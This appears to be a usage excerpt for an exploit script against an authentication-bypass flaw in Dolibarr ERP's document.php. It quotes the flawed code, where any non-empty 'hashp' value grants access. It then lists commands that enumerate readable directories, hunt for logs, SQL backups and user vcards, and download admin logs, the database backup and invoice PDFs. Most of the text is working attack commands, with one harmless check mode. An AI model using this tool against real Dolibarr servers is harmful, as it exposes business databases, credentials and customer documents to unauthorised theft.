// htdocs/document.php:189 (24.0.0) — 'shared' skips token resolution
if (!empty($hashp) && $hashp != 'shared') { ...resolve share token... }

// htdocs/document.php:292 — but any hashp forces access
if (!empty($hashp)) {
    $accessallowed = 1;
    $sqlprotectagainstexternals = '';
}

# detection (safe, nonexistent canary file)
python3 CVE-2026-89013.py https://erp.local check

# readable modulepart trees
python3 CVE-2026-89013.py https://erp.local list

# hunt: dolibarr.log + SQL backups (generated filenames) + user vcards
python3 CVE-2026-89013.py https://erp.local hunt --db-name dolibarr --days 3 --save

# read / download
python3 CVE-2026-89013.py https://erp.local read logs/admin/logs/dolibarr.log
python3 CVE-2026-89013.py https://erp.local download systemtools/backup/backup.sql
python3 CVE-2026-89013.py https://erp.local read facture/FA2601-0001/FA2601-0001.pdf --entity 2

# PDFs via viewimage.php
python3 CVE-2026-89013.py https://erp.local viewimage facture/FA2601-0001/FA2601-0001.pdf